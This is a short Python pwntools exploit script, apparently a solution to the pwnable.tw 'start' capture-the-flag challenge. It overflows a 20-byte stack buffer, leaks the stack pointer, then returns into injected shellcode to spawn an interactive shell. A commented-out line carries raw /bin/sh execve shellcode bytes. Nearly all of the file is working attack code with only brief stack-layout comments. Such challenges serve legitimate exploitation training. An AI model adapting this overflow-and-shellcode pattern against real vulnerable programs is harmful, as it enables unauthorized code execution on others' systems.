import pwn
#p = pwn.remote("chall.pwnable.tw", 10000)
p = pwn.process("./start")
output = p.recv(20)

# 20 bytes | return address | esp | ->saved esp points here<-
payloud = "a"*20 + pwn.p32(0x8048087)
p.send(payloud)

output = p.recv(20)
esp = pwn.u32(output[:4])
pwn.log.info("output: " + repr(output))
pwn.log.info("leaked esp: {}".format(hex(esp)))

#shellcode = open("hello.bin",  'rb').read()
shellcode = open("nasm.bin",  'rb').read()
#shellcode = "1\xc0\xb0\x0b1\xc91\xbd2Rhn/shh//bi"

# second time through:
# 20 bytes | return address | esp                v points at byte 4 of 20
# xxxxxxxx   xxxxxxxxxxxxxx | 20 more bytes...   :            | eip | shellcode

# our second payload is written starting where esp used to be stored,
# which is at esp-4

ecx = esp - 4
payload = "a"*20 + pwn.p32(ecx+24) + shellcode
assert len(payload) < 0x3c
p.send(payload)

#print(p.read(4))
p.interactive()
